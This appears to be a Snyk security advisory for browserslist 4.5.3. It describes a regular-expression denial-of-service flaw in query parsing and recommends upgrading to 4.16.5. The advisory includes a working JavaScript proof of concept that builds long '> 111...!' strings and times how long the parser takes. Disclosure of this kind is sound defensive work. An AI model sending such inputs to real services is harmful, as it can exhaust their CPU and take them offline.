browserslist@4.5.3 vulnerabilities

Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset

Direct Vulnerabilities

Known vulnerabilities in the browserslist package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

browserslist is a Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.

PoC by Yeting Li

var browserslist = require("browserslist")
function build_attack(n) {
    var ret = "> "
    for (var i = 0; i < n; i++) {
        ret += "1"
    }
    return ret + "!";
}

// browserslist('> 1%')

//browserslist(build_attack(500000))
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            browserslist(attack_str);
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade browserslist to version 4.16.5 or higher.

<4.16.5